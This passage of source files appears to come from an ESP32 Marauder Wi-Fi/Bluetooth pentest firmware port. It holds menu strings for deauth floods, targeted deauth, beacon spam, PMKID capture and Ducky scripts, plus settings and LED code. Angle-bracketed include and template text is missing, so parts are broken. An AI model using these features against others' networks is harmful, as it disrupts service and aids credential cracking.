66 | PROGMEM const char text1_23[] = "Bluetooth Sniffers ";
67 | PROGMEM const char text1_24[] = "Bluetooth General ";
68 | PROGMEM const char text1_25[] = "Shutdown WiFi ";
69 | PROGMEM const char text1_26[] = "Shutdown BLE ";
70 | PROGMEM const char text1_27[] = "Generate SSIDs ";
71 | PROGMEM const char text1_28[] = "Clear SSIDs ";
72 | PROGMEM const char text1_29[] = "Clear APs ";
73 | PROGMEM const char text1_30[] = "Reboot";
74 | PROGMEM const char text1_31[] = "Sniffers";
75 | PROGMEM const char text1_32[] = "Attacks";
76 | PROGMEM const char text1_33[] = "General";
77 | PROGMEM const char text1_34[] = "Bluetooth Sniffer";
78 | PROGMEM const char text1_35[] = "Detect Card Skimmers";
79 | PROGMEM const char text1_36[] = "Test BadUSB";
80 | PROGMEM const char text1_37[] = "Run Ducky Script";
81 | PROGMEM const char text1_38[] = "Draw";
82 | PROGMEM const char text1_39[] = "Web Update";
83 | PROGMEM const char text1_40[] = "SD Update";
84 | PROGMEM const char text1_41[] = "ESP8266 Update";
85 | PROGMEM const char text1_42[] = "Probe Request Sniff";
86 | PROGMEM const char text1_43[] = "Beacon Sniff";
87 | PROGMEM const char text1_44[] = "Deauth Sniff";
88 | PROGMEM const char text1_45[] = "Packet Monitor";
89 | PROGMEM const char text1_46[] = "EAPOL/PMKID Scan";
90 | PROGMEM const char text1_47[] = "Detect Pwnagotchi";
91 | PROGMEM const char text1_48[] = "Detect Espressif";
92 | PROGMEM const char text1_49[] = "Scan APs";
93 | PROGMEM const char text1_50[] = "Beacon Spam List";
94 | PROGMEM const char text1_51[] = "Beacon Spam Random";
95 | PROGMEM const char text1_52[] = "Rick Roll Beacon";
96 | PROGMEM const char text1_53[] = "Probe Req Flood";
97 | PROGMEM const char text1_54[] = "Deauth Flood";
98 | PROGMEM const char text1_55[] = "Join WiFi";
99 | PROGMEM const char text1_56[] = "Select APs";
100 | PROGMEM const char text1_57[] = "AP Clone Spam";
101 | PROGMEM const char text1_58[] = "Raw Capture";
102 | PROGMEM const char text1_59[] = "Station Sniff";
103 | PROGMEM const char text1_60[] = "Clear Stations";
104 | PROGMEM const char text1_61[] = "Select Stations";
105 | PROGMEM const char text1_62[] = "Deauth Targeted";
106 |
107 |
108 | //SDInterface.cpp texts
109 | PROGMEM const char text2_0[] = "Error, could not find update.bin";
110 | PROGMEM const char text2_1[] = "Starting SD Update...";
111 | PROGMEM const char text2_2[] = "Error, update.bin is empty";
112 | PROGMEM const char text2_3[] = "\nRebooting...\n";
113 | PROGMEM const char text2_4[] = "Could not load update.bin from /";
114 | PROGMEM const char text2_5[] = "File size: ";
115 | PROGMEM const char text2_6[] = "Writing file to partition...";
116 | PROGMEM const char text2_7[] = "Written: ";
117 | PROGMEM const char text2_8[] = "Written only : ";
118 | PROGMEM const char text2_9[] = ". Retry?";
119 | PROGMEM const char text2_10[] = " successfully";
120 | PROGMEM const char text2_11[] = "Update complete";
121 | PROGMEM const char text2_12[] = "Update could not complete";
122 | PROGMEM const char text2_13[] = "Error Occurred. Error #: ";
123 | PROGMEM const char text2_14[] = "Not enough space to begin OTA";
124 |
125 | //Web.cpp texts
126 | PROGMEM const char text3_0[] = "Configuring update server...\n\n";
127 | PROGMEM const char text3_1[] = "IP address: ";
128 | PROGMEM const char text3_2[] = "Update: ";
129 | PROGMEM const char text3_3[] = "Bytes complete: ";
130 | PROGMEM const char text3_4[] = "Update Success: ";
131 | PROGMEM const char text3_5[] = "\nCompleted update server setup";
132 |
133 | //WiFiScan.cpp texts
134 | PROGMEM const char text4_0[] = " RSSI: ";
135 | PROGMEM const char text4_1[] = "Potential Skimmer: ";
136 | PROGMEM const char text4_2[] = "Already Connected";
137 | PROGMEM const char text4_3[] = "Failed to connect";
138 | PROGMEM const char text4_4[] = "Connected";
139 | PROGMEM const char text4_5[] = "ForcePMKID";
140 | PROGMEM const char text4_6[] = "ForceProbe";
141 | PROGMEM const char text4_7[] = "SavePCAP";
142 | PROGMEM const char text4_8[] = "Probe Flood";
143 | PROGMEM const char text4_9[] = "Clearing APs...";
144 | PROGMEM const char text4_10[] = "APs Cleared: ";
145 | PROGMEM const char text4_11[] = "Clearing SSIDs...";
146 | PROGMEM const char text4_12[] = "SSIDs Cleared: ";
147 | PROGMEM const char text4_13[] = "Generating SSIDs...";
148 | PROGMEM const char text4_14[] = "SSIDs Generated: "; //Add spaces before to match : [15]
149 | PROGMEM const char text4_15[] = " Total SSIDs: "; //Add spaces beforer to match : [14]
150 | PROGMEM const char text4_16[] = "Shutting down WiFi...";
151 | PROGMEM const char text4_17[] = "WiFi not currently initialized";
152 | PROGMEM const char text4_18[] = "Shutting down BLE...";
153 | PROGMEM const char text4_19[] = "BLE not currently initialized";
154 | PROGMEM const char text4_20[] = "Firmware: Marauder"; //From 20 to 35 add spaces so : is in line like it is now
155 | PROGMEM const char text4_21[] = "Version: ";
156 | PROGMEM const char text4_22[] = "ESP-IDF: ";
157 | PROGMEM const char text4_23[] = "WSL Bypass: enabled";
158 | PROGMEM const char text4_24[] = "WSL Bypass: disabled";
159 | PROGMEM const char text4_25[] = "Station MAC: ";
160 | PROGMEM const char text4_26[] = "AP MAC: ";
161 | PROGMEM const char text4_27[] = "";
162 | PROGMEM const char text4_28[] = "SD Card: Connected";
163 | PROGMEM const char text4_29[] = "SD Card Size: ";
164 | PROGMEM const char text4_30[] = "SD Card: Not Connected";
165 | PROGMEM const char text4_31[] = "SD Card Size: 0";
166 | PROGMEM const char text4_32[] = "IP5306 I2C: supported";
167 | PROGMEM const char text4_33[] = "Battery Lvl: ";
168 | PROGMEM const char text4_34[] = "IP5306 I2C: not supported";
169 | PROGMEM const char text4_35[] = "Internal temp: ";
170 | PROGMEM const char text4_36[] = " Detect Espressif ";
171 | PROGMEM const char text4_37[] = " Detect Pwnagotchi ";
172 | PROGMEM const char text4_38[] = " Beacon Sniffer ";
173 | PROGMEM const char text4_39[] = " Deauthentication Sniffer ";
174 | PROGMEM const char text4_40[] = " Probe Request Sniffer ";
175 | PROGMEM const char text4_41[] = " Bluetooth Sniff ";
176 | PROGMEM const char text4_42[] = " Detect Card Skimmers ";
177 | PROGMEM const char text4_43[] = "Scanning for\nBluetooth-enabled skimmers\nHC-03, HC-05, and HC-06...";
178 | PROGMEM const char text4_44[] = " AP Scan ";
179 | PROGMEM const char text4_45[] = "Clearing Stations...";
180 | PROGMEM const char text4_46[] = "Stations Cleared: ";
181 | PROGMEM const char text4_47[] = "Targeted Deauth";
182 | PROGMEM const char text4_48[] = "Using serial to transmit packets";
183 |
184 | //Making tables
185 | PROGMEM const char *text_table0[] = {text0_0,text0_1, text0_2, text0_3, text0_4, text0_5, text0_6, text0_7, text0_8};
186 | PROGMEM const char *text_table1[] = {text1_0,text1_1,text1_2,text1_3,text1_4,text1_5,text1_6,text1_7,text1_8,text1_9,text1_10,text1_11,text1_12,text1_13,text1_14,text1_15,text1_16,text1_17,text1_18,text1_19,text1_20,text1_21,text1_22,text1_23,text1_24,text1_25,text1_26,text1_27,text1_28,text1_29,text1_30,text1_31,text1_32,text1_33,text1_34,text1_35,text1_36,text1_37,text1_38,text1_39,text1_40,text1_41,text1_42,text1_43,text1_44,text1_45,text1_46,text1_47,text1_48,text1_49,text1_50,text1_51,text1_52,text1_53,text1_54,text1_55,text1_56,text1_57,text1_58,text1_59,text1_60,text1_61,text1_62};
187 | PROGMEM const char *text_table2[] = {text2_0,text2_1,text2_2,text2_3,text2_4,text2_5,text2_6,text2_7,text2_8,text2_9,text2_10,text2_11,text2_12,text2_13,text2_14};
188 | PROGMEM const char *text_table3[] = {text3_0,text3_1,text3_2,text3_3,text3_4,text3_5};
189 | PROGMEM const char *text_table4[] = {text4_0,text4_1,text4_2,text4_3,text4_4,text4_5,text4_6,text4_7,text1_54,text4_9,text4_10,text4_11,text4_12,text4_13,text4_14,text4_15,text4_16,text4_17,text4_18,text4_19,text4_20,text4_21,text4_22,text4_23,text4_24,text4_25,text4_26,text4_27,text4_28,text4_29,text4_30,text4_31,text4_32,text4_33,text4_34,text4_35,text4_36,text4_37,text4_38,text4_39,text4_40,text4_41,text4_42,text4_43,text4_44,text4_45,text4_46,text4_47, text4_48};
190 |
191 | #endif
192 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/settings.cpp:
--------------------------------------------------------------------------------
1 | #include "settings.h"
2 |
3 | String Settings::getSettingsString() {
4 | return this->json_settings_string;
5 | }
6 |
7 | bool Settings::begin() {
8 | if(!SPIFFS.begin(FORMAT_SPIFFS_IF_FAILED)){
9 | Serial.println("Settings SPIFFS Mount Failed");
10 | return false;
11 | }
12 |
13 | File settingsFile;
14 |
15 | //SPIFFS.remove("/settings.json"); // NEED TO REMOVE THIS LINE
16 |
17 | if (SPIFFS.exists("/settings.json")) {
18 | settingsFile = SPIFFS.open("/settings.json", FILE_READ);
19 |
20 | if (!settingsFile) {
21 | settingsFile.close();
22 | Serial.println(F("Could not find settings file"));
23 | if (this->createDefaultSettings(SPIFFS))
24 | return true;
25 | else
26 | return false;
27 | }
28 | }
29 | else {
30 | Serial.println("Settings file does not exist");
31 | if (this->createDefaultSettings(SPIFFS))
32 | return true;
33 | else
34 | return false;
35 | }
36 |
37 | String json_string;
38 | DynamicJsonDocument jsonBuffer(1024);
39 | DeserializationError error = deserializeJson(jsonBuffer, settingsFile);
40 | serializeJson(jsonBuffer, json_string);
41 | //Serial.println("Settings: " + (String)json_string + "\n");
42 | //this->printJsonSettings(json_string);
43 |
44 | this->json_settings_string = json_string;
45 |
46 | return true;
47 | }
48 |
49 | template
50 | T Settings::loadSetting(String key) {}
51 |
52 | // Get type int settings
53 | template<>
54 | int Settings::loadSetting(String key) {
55 | DynamicJsonDocument json(1024); // ArduinoJson v6
56 |
57 | if (deserializeJson(json, this->json_settings_string)) {
58 | Serial.println("\nCould not parse json");
59 | }
60 |
61 | for (int i = 0; i < json["Settings"].size(); i++) {
62 | if (json["Settings"][i]["name"].as() == key)
63 | return json["Settings"][i]["value"];
64 | }
65 |
66 | return 0;
67 | }
68 |
69 | // Get type string settings
70 | template<>
71 | String Settings::loadSetting(String key) {
72 | //return this->json_settings_string;
73 |
74 | DynamicJsonDocument json(1024); // ArduinoJson v6
75 |
76 | if (deserializeJson(json, this->json_settings_string)) {
77 | Serial.println("\nCould not parse json");
78 | }
79 |
80 | for (int i = 0; i < json["Settings"].size(); i++) {
81 | if (json["Settings"][i]["name"].as() == key)
82 | return json["Settings"][i]["value"];
83 | }
84 |
85 | return "";
86 | }
87 |
88 | // Get type bool settings
89 | template<>
90 | bool Settings::loadSetting(String key) {
91 | DynamicJsonDocument json(1024); // ArduinoJson v6
92 |
93 | if (deserializeJson(json, this->json_settings_string)) {
94 | Serial.println("\nCould not parse json");
95 | }
96 |
97 | for (int i = 0; i < json["Settings"].size(); i++) {
98 | if (json["Settings"][i]["name"].as() == key)
99 | return json["Settings"][i]["value"];
100 | }
101 |
102 | return false;
103 | }
104 |
105 | //Get type uint8_t settings
106 | template<>
107 | uint8_t Settings::loadSetting(String key) {
108 | DynamicJsonDocument json(1024); // ArduinoJson v6
109 |
110 | if (deserializeJson(json, this->json_settings_string)) {
111 | Serial.println("\nCould not parse json");
112 | }
113 |
114 | for (int i = 0; i < json["Settings"].size(); i++) {
115 | if (json["Settings"][i]["name"].as() == key)
116 | return json["Settings"][i]["value"];
117 | }
118 |
119 | return 0;
120 | }
121 |
122 | template
123 | T Settings::saveSetting(String key, bool value) {}
124 |
125 | template<>
126 | bool Settings::saveSetting(String key, bool value) {
127 | DynamicJsonDocument json(1024); // ArduinoJson v6
128 |
129 | if (deserializeJson(json, this->json_settings_string)) {
130 | Serial.println("\nCould not parse json");
131 | }
132 |
133 | String settings_string;
134 |
135 | for (int i = 0; i < json["Settings"].size(); i++) {
136 | if (json["Settings"][i]["name"].as() == key) {
137 | json["Settings"][i]["value"] = value;
138 |
139 | Serial.println("Saving setting...");
140 |
141 | File settingsFile = SPIFFS.open("/settings.json", FILE_WRITE);
142 |
143 | if (!settingsFile) {
144 | Serial.println(F("Failed to create settings file"));
145 | return false;
146 | }
147 |
148 | if (serializeJson(json, settingsFile) == 0) {
149 | Serial.println(F("Failed to write to file"));
150 | }
151 | if (serializeJson(json, settings_string) == 0) {
152 | Serial.println(F("Failed to write to string"));
153 | }
154 |
155 | // Close the file
156 | settingsFile.close();
157 |
158 | this->json_settings_string = settings_string;
159 |
160 | this->printJsonSettings(settings_string);
161 |
162 | return true;
163 | }
164 | }
165 | return false;
166 | }
167 |
168 | bool Settings::toggleSetting(String key) {
169 | DynamicJsonDocument json(1024); // ArduinoJson v6
170 |
171 | if (deserializeJson(json, this->json_settings_string)) {
172 | Serial.println("\nCould not parse json");
173 | }
174 |
175 | for (int i = 0; i < json["Settings"].size(); i++) {
176 | if (json["Settings"][i]["name"].as() == key) {
177 | if (json["Settings"][i]["value"]) {
178 | saveSetting(key, false);
179 | Serial.println("Setting value to false");
180 | return false;
181 | }
182 | else {
183 | saveSetting(key, true);
184 | Serial.println("Setting value to true");
185 | return true;
186 | }
187 |
188 | return false;
189 | }
190 | }
191 | }
192 |
193 | String Settings::setting_index_to_name(int i) {
194 | DynamicJsonDocument json(1024); // ArduinoJson v6
195 |
196 | if (deserializeJson(json, this->json_settings_string)) {
197 | Serial.println("\nCould not parse json");
198 | }
199 |
200 | return json["Settings"][i]["name"];
201 | }
202 |
203 | int Settings::getNumberSettings() {
204 | DynamicJsonDocument json(1024); // ArduinoJson v6
205 |
206 | if (deserializeJson(json, this->json_settings_string)) {
207 | Serial.println("\nCould not parse json");
208 | }
209 |
210 | return json["Settings"].size();
211 | }
212 |
213 | String Settings::getSettingType(String key) {
214 | DynamicJsonDocument json(1024); // ArduinoJson v6
215 |
216 | if (deserializeJson(json, this->json_settings_string)) {
217 | Serial.println("\nCould not parse json");
218 | }
219 |
220 | for (int i = 0; i < json["Settings"].size(); i++) {
221 | if (json["Settings"][i]["name"].as() == key)
222 | return json["Settings"][i]["type"];
223 | }
224 | }
225 |
226 | void Settings::printJsonSettings(String json_string) {
227 | DynamicJsonDocument json(1024); // ArduinoJson v6
228 |
229 | if (deserializeJson(json, json_string)) {
230 | Serial.println("\nCould not parse json");
231 | }
232 |
233 | Serial.println("Settings\n----------------------------------------------");
234 | for (int i = 0; i < json["Settings"].size(); i++) {
235 | Serial.println("Name: " + json["Settings"][i]["name"].as());
236 | Serial.println("Type: " + json["Settings"][i]["type"].as());
237 | Serial.println("Value: " + json["Settings"][i]["value"].as());
238 | Serial.println("----------------------------------------------");
239 | }
240 | }
241 |
242 | bool Settings::createDefaultSettings(fs::FS &fs) {
243 | Serial.println(F("Creating default settings file: settings.json"));
244 |
245 | File settingsFile = fs.open("/settings.json", FILE_WRITE);
246 |
247 | if (!settingsFile) {
248 | Serial.println(F("Failed to create settings file"));
249 | return false;
250 | }
251 |
252 | DynamicJsonDocument jsonBuffer(1024);
253 | String settings_string;
254 |
255 | //jsonBuffer["Settings"][0]["name"] = "Channel";
256 | //jsonBuffer["Settings"][0]["type"] = "uint8_t";
257 | //jsonBuffer["Settings"][0]["value"] = 11;
258 | //jsonBuffer["Settings"][0]["range"]["min"] = 1;
259 | //jsonBuffer["Settings"][0]["range"]["max"] = 14;
260 |
261 | //jsonBuffer["Settings"][1]["name"] = "Channel Hop Delay";
262 | //jsonBuffer["Settings"][1]["type"] = "int";
263 | //jsonBuffer["Settings"][1]["value"] = 1;
264 | //jsonBuffer["Settings"][1]["range"]["min"] = 1;
265 | //jsonBuffer["Settings"][1]["range"]["max"] = 10;
266 |
267 | jsonBuffer["Settings"][0]["name"] = "ForcePMKID";
268 | jsonBuffer["Settings"][0]["type"] = "bool";
269 | jsonBuffer["Settings"][0]["value"] = true;
270 | jsonBuffer["Settings"][0]["range"]["min"] = false;
271 | jsonBuffer["Settings"][0]["range"]["max"] = true;
272 |
273 | jsonBuffer["Settings"][1]["name"] = "ForceProbe";
274 | jsonBuffer["Settings"][1]["type"] = "bool";
275 | jsonBuffer["Settings"][1]["value"] = true;
276 | jsonBuffer["Settings"][1]["range"]["min"] = false;
277 | jsonBuffer["Settings"][1]["range"]["max"] = true;
278 |
279 | jsonBuffer["Settings"][2]["name"] = "SavePCAP";
280 | jsonBuffer["Settings"][2]["type"] = "bool";
281 | jsonBuffer["Settings"][2]["value"] = true;
282 | jsonBuffer["Settings"][2]["range"]["min"] = false;
283 | jsonBuffer["Settings"][2]["range"]["max"] = true;
284 |
285 | jsonBuffer["Settings"][3]["name"] = "EnableLED";
286 | jsonBuffer["Settings"][3]["type"] = "bool";
287 | jsonBuffer["Settings"][3]["value"] = true;
288 | jsonBuffer["Settings"][3]["range"]["min"] = false;
289 | jsonBuffer["Settings"][3]["range"]["max"] = true;
290 |
291 | //jsonBuffer.printTo(settingsFile);
292 | if (serializeJson(jsonBuffer, settingsFile) == 0) {
293 | Serial.println(F("Failed to write to file"));
294 | }
295 | if (serializeJson(jsonBuffer, settings_string) == 0) {
296 | Serial.println(F("Failed to write to string"));
297 | }
298 |
299 | // Close the file
300 | settingsFile.close();
301 |
302 | this->json_settings_string = settings_string;
303 |
304 | this->printJsonSettings(settings_string);
305 |
306 | return true;
307 | }
308 |
309 | void Settings::main(uint32_t currentTime) {
310 |
311 | }
312 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/settings.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef Settings_h
4 | #define Settings_h
5 |
6 | #include "configs.h"
7 |
8 | #include "SPIFFS.h"
9 | #include
10 | #include
11 |
12 | #define FORMAT_SPIFFS_IF_FAILED true
13 |
14 | #ifdef HAS_SCREEN
15 | #include "Display.h"
16 |
17 | extern Display display_obj;
18 | #endif
19 |
20 | class Settings {
21 |
22 | private:
23 | String json_settings_string;
24 |
25 | public:
26 | bool begin();
27 |
28 | template
29 | T loadSetting(String name);
30 |
31 | template
32 | T saveSetting(String key, bool value);
33 |
34 | bool toggleSetting(String key);
35 | String getSettingType(String key);
36 | String setting_index_to_name(int i);
37 | int getNumberSettings();
38 |
39 | //template<>
40 | //int loadSetting(String key);
41 |
42 | //template<>
43 | //String loadSetting(String key);
44 |
45 | //template<>
46 | //bool loadSetting(String key);
47 |
48 | //template<>
49 | //uint8_t loadSetting(String key);
50 |
51 | String getSettingsString();
52 | bool createDefaultSettings(fs::FS &fs);
53 | void printJsonSettings(String json_string);
54 | void main(uint32_t currentTime);
55 | };
56 |
57 | #endif
58 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/stickcLED.cpp:
--------------------------------------------------------------------------------
1 | #include "stickcLED.h"
2 | // NB M5Stick C Plus LED is active low, so digitalWrite() calls are inverted
3 | void stickcLED::RunSetup() {
4 | pinMode(STICKC_LED_PIN, OUTPUT);
5 |
6 | if (!settings_obj.loadSetting("EnableLED")) {
7 | digitalWrite(STICKC_LED_PIN, HIGH);
8 | return;
9 | }
10 |
11 | delay(50);
12 |
13 | digitalWrite(STICKC_LED_PIN, LOW);
14 | delay(500);
15 | digitalWrite(STICKC_LED_PIN, HIGH);
16 | delay(250);
17 | digitalWrite(STICKC_LED_PIN, LOW);
18 | delay(500);
19 | digitalWrite(STICKC_LED_PIN, HIGH);
20 | delay(250);
21 | digitalWrite(STICKC_LED_PIN, LOW);
22 | delay(500);
23 | digitalWrite(STICKC_LED_PIN, HIGH);
24 | }
25 |
26 | void stickcLED::attackLED() {
27 | if (!settings_obj.loadSetting("EnableLED"))
28 | return;
29 |
30 | digitalWrite(STICKC_LED_PIN, LOW);
31 | delay(300);
32 | digitalWrite(STICKC_LED_PIN, HIGH);
33 | }
34 |
35 | void stickcLED::sniffLED() {
36 | if (!settings_obj.loadSetting("EnableLED"))
37 | return;
38 |
39 | digitalWrite(STICKC_LED_PIN, LOW);
40 | delay(300);
41 | digitalWrite(STICKC_LED_PIN, HIGH);
42 | }
43 |
44 | void stickcLED::offLED() {
45 | if (!settings_obj.loadSetting("EnableLED"))
46 | return;
47 |
48 | digitalWrite(STICKC_LED_PIN, HIGH);
49 | }
50 |
51 | void stickcLED::main() {
52 | // do nothing
53 | }
54 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/stickcLED.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef stickcLED_H
4 | #define stickcLED_H
5 |
6 | #include "configs.h"
7 | #include "settings.h"
8 |
9 | #include
10 |
11 | #define STICKC_LED_PIN 19
12 |
13 | extern Settings settings_obj;
14 |
15 | class stickcLED {
16 |
17 | public:
18 | void RunSetup();
19 | void main();
20 | void attackLED();
21 | void sniffLED();
22 | void offLED();
23 | };
24 |
25 | #endif /* stickcLED_H */
26 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/xiaoLED.cpp:
--------------------------------------------------------------------------------
1 | #include "xiaoLED.h"
2 |
3 | void xiaoLED::RunSetup() {
4 | pinMode(XIAO_LED_PIN, OUTPUT);
5 |
6 | if (!settings_obj.loadSetting("EnableLED")) {
7 | digitalWrite(XIAO_LED_PIN, HIGH);
8 | return;
9 | }
10 |
11 | delay(50);
12 |
13 | digitalWrite(XIAO_LED_PIN, LOW);
14 | delay(500);
15 | digitalWrite(XIAO_LED_PIN, HIGH);
16 | delay(250);
17 | digitalWrite(XIAO_LED_PIN, LOW);
18 | delay(500);
19 | digitalWrite(XIAO_LED_PIN, HIGH);
20 | delay(250);
21 | digitalWrite(XIAO_LED_PIN, LOW);
22 | delay(500);
23 | digitalWrite(XIAO_LED_PIN, HIGH);
24 | }
25 |
26 | void xiaoLED::attackLED() {
27 | if (!settings_obj.loadSetting("EnableLED"))
28 | return;
29 |
30 | digitalWrite(XIAO_LED_PIN, HIGH);
31 | delay(300);
32 | digitalWrite(XIAO_LED_PIN, LOW);
33 | }
34 |
35 | void xiaoLED::sniffLED() {
36 | if (!settings_obj.loadSetting("EnableLED"))
37 | return;
38 |
39 | digitalWrite(XIAO_LED_PIN, HIGH);
40 | delay(300);
41 | digitalWrite(XIAO_LED_PIN, LOW);
42 | }
43 |
44 | void xiaoLED::offLED() {
45 | if (!settings_obj.loadSetting("EnableLED"))
46 | return;
47 |
48 | digitalWrite(XIAO_LED_PIN, HIGH);
49 | }
50 |
51 | void xiaoLED::main() {
52 | // do nothing
53 | }
54 |
--------------------------------------------------------------------------------
/esp32_marauderm5stickcplus2/xiaoLED.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #ifndef xiaoLED_H
4 | #define xiaoLED_H
5 |
6 | #include "configs.h"
7 | #include "settings.h"
8 |
9 | #include
10 |
11 | #define XIAO_LED_PIN 21
12 |
13 | extern Settings settings_obj;
14 |
15 | class xiaoLED {
16 |
17 | public:
18 | void RunSetup();
19 | void main();
20 | void attackLED();
21 | void sniffLED();
22 | void offLED();
23 | };
24 |
25 | #endif /* xiaoLED_H */
26 |
--------------------------------------------------------------------------------